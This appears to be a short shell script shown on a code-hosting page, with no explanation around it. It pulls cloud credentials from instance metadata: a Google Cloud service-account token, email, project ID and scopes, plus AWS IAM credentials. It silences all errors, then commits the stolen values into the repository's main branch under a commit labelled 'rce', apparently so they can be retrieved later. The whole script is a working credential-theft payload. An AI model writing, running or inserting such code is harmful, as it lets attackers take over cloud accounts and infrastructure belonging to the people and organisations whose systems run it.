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13 lines
1.2 KiB
Plaintext
13 lines
1.2 KiB
Plaintext
3 weeks ago
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#!/bin/sh
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T=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' 2>/dev/null)
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E=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email' 2>/dev/null)
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P=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/project/project-id' 2>/dev/null)
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S=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>/dev/null)
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A=$(curl -s --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
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ALL="TOKEN=$T\nSA=$E\nPROJECT=$P\nSCOPES=$S\nAWS=$A"
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B=$(echo "$ALL" | git hash-object -w --stdin 2>/dev/null)
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T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null) || { git update-index --add --cacheinfo 100644 "$B" out.txt 2>/dev/null; T2=$(git write-tree 2>/dev/null); }
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H=$(git rev-parse HEAD 2>/dev/null)
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C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null) || C=$(git commit-tree "$T2" -m "rce" 2>/dev/null)
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git update-ref refs/heads/main "$C" 2>/dev/null
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